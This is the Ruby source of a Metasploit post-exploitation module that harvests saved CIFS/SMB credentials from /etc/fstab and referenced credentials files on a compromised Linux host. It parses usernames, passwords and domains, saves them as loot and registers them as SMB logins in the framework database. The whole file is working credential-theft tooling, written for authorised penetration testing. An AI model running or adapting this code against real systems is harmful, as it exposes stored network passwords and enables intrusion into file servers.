187 lines
5.4 KiB
Ruby
187 lines
5.4 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
include Msf::Post::File
|
|
|
|
def initialize(info={})
|
|
super( update_info( info,
|
|
'Name' => 'Linux Gather Saved mount.cifs/mount.smbfs Credentials',
|
|
'Description' => %q{
|
|
Post Module to obtain credentials saved for mount.cifs/mount.smbfs in
|
|
/etc/fstab on a Linux system.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => ['Jon Hart <jhart[at]spoofed.org>'],
|
|
'Platform' => ['linux'],
|
|
'SessionTypes' => ['shell', 'meterpreter']
|
|
))
|
|
end
|
|
|
|
def run
|
|
# keep track of any of the credentials files we read so we only read them once
|
|
cred_files = []
|
|
# where we'll store hashes of found credentials while parsing. reporting is done at the end.
|
|
creds = []
|
|
# A table to store the found credentials for loot storage afterward
|
|
cred_table = Rex::Ui::Text::Table.new(
|
|
'Header' => "mount.cifs credentials",
|
|
'Indent' => 1,
|
|
'Columns' =>
|
|
[
|
|
"Username",
|
|
"Password",
|
|
"Server",
|
|
"File"
|
|
])
|
|
|
|
# parse each line from /etc/fstab
|
|
read_file("/etc/fstab").each_line do |fstab_line|
|
|
fstab_line.strip!
|
|
# where we'll store the current parsed credentials, if any
|
|
cred = {}
|
|
# if the fstab line utilizies the credentials= option, read the credentials from that file
|
|
if (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*/)
|
|
cred[:host] = $1
|
|
# IPs can occur using the ip option, which is a backup/alternative
|
|
# to letting UNC resolution do its thing
|
|
cred[:host] = $1 if (fstab_line =~ /ip=([^, ]+)/)
|
|
if (fstab_line =~ /cred(?:entials)?=([^, ]+)/)
|
|
file = $1
|
|
# skip if we've already parsed this credentials file
|
|
next if (cred_files.include?(file))
|
|
# store it if we haven't
|
|
cred_files << file
|
|
# parse the credentials
|
|
cred.merge!(parse_credentials_file(file))
|
|
# if the credentials are directly in /etc/fstab, parse them
|
|
elsif (fstab_line =~ /\/\/([^\/]+)\/\S+\s+\S+\s+cifs\s+.*(?:user(?:name)?|pass(?:word)?)=/)
|
|
cred.merge!(parse_fstab_credentials(fstab_line))
|
|
end
|
|
|
|
creds << cred
|
|
end
|
|
end
|
|
|
|
# all done. clean up, report and loot.
|
|
creds.flatten!
|
|
creds.compact!
|
|
creds.uniq!
|
|
creds.each do |cred|
|
|
if (Rex::Socket.dotted_ip?(cred[:host]))
|
|
report_cred(
|
|
ip: cred[:host],
|
|
port: 445,
|
|
service_name: 'smb',
|
|
user: cred[:user],
|
|
password: cred[:pass],
|
|
proof: '/etc/fstab'
|
|
)
|
|
end
|
|
cred_table << [ cred[:user], cred[:pass], cred[:host], cred[:file] ]
|
|
end
|
|
|
|
# store all found credentials
|
|
unless (cred_table.rows.empty?)
|
|
print_line("\n" + cred_table.to_s)
|
|
p = store_loot(
|
|
"mount.cifs.creds",
|
|
"text/csv",
|
|
session,
|
|
cred_table.to_csv,
|
|
"mount_cifs_credentials.txt",
|
|
"mount.cifs credentials")
|
|
print_status("CIFS credentials saved in: #{p.to_s}")
|
|
end
|
|
end
|
|
|
|
def report_cred(opts)
|
|
service_data = {
|
|
address: opts[:ip],
|
|
port: opts[:port],
|
|
service_name: opts[:service_name],
|
|
protocol: 'tcp',
|
|
workspace_id: myworkspace_id
|
|
}
|
|
|
|
credential_data = {
|
|
origin_type: :session,
|
|
module_fullname: fullname,
|
|
username: opts[:user],
|
|
private_data: opts[:password],
|
|
private_type: :password,
|
|
session_id: session_db_id,
|
|
post_reference_name: self.refname
|
|
}.merge(service_data)
|
|
|
|
login_data = {
|
|
core: create_credential(credential_data),
|
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
|
proof: opts[:proof]
|
|
}.merge(service_data)
|
|
|
|
create_credential_login(login_data)
|
|
end
|
|
|
|
# Parse mount.cifs credentials from +line+, assumed to be a line from /etc/fstab.
|
|
# Returns the username+domain and password as a hash.
|
|
def parse_fstab_credentials(line, file="/etc/fstab")
|
|
creds = {}
|
|
# get the username option, which comes in one of four ways
|
|
user_opt = $1 if (line =~ /user(?:name)?=([^, ]+)/)
|
|
case user_opt
|
|
# domain/user%pass
|
|
when /^([^\/]+)\/([^%]+)%(.*)$/
|
|
creds[:user] = "#{$1}\\#{$2}"
|
|
creds[:pass] = $3
|
|
# domain/user
|
|
when /^([^\/]+)\/([^%]+)$/
|
|
creds[:user] = "#{$1}\\#{$2}"
|
|
# user%password
|
|
when /^([^%]+)%(.*)$/
|
|
creds[:user] = $1
|
|
creds[:pass] = $2
|
|
# user
|
|
else
|
|
creds[:user] = user_opt
|
|
end if (user_opt)
|
|
|
|
# get the password option if any
|
|
creds[:pass] = $1 if (line =~ /pass(?:word)?=([^, ]+)/)
|
|
|
|
# get the domain option, if any
|
|
creds[:user] = "#{$1}\\#{creds[:user]}" if (line =~ /dom(?:ain)?=([^, ]+)/)
|
|
|
|
creds[:file] = file unless (creds.empty?)
|
|
|
|
creds
|
|
end
|
|
|
|
# Parse mount.cifs credentials from +file+, returning the username+domain and password
|
|
# as a hash.
|
|
def parse_credentials_file(file)
|
|
creds = {}
|
|
domain = nil
|
|
read_file(file).each_line do |credfile_line|
|
|
case credfile_line
|
|
when /domain=(.*)/
|
|
domain = $1
|
|
when /password=(.*)/
|
|
creds[:pass] = $1
|
|
when /username=(.*)/
|
|
creds[:user] = $1
|
|
end
|
|
end
|
|
# prepend the domain if one was found
|
|
creds[:user] = "#{domain}\\#{creds[:user]}" if (domain and creds[:user])
|
|
creds[:file] = file unless (creds.empty?)
|
|
|
|
creds
|
|
end
|
|
end
|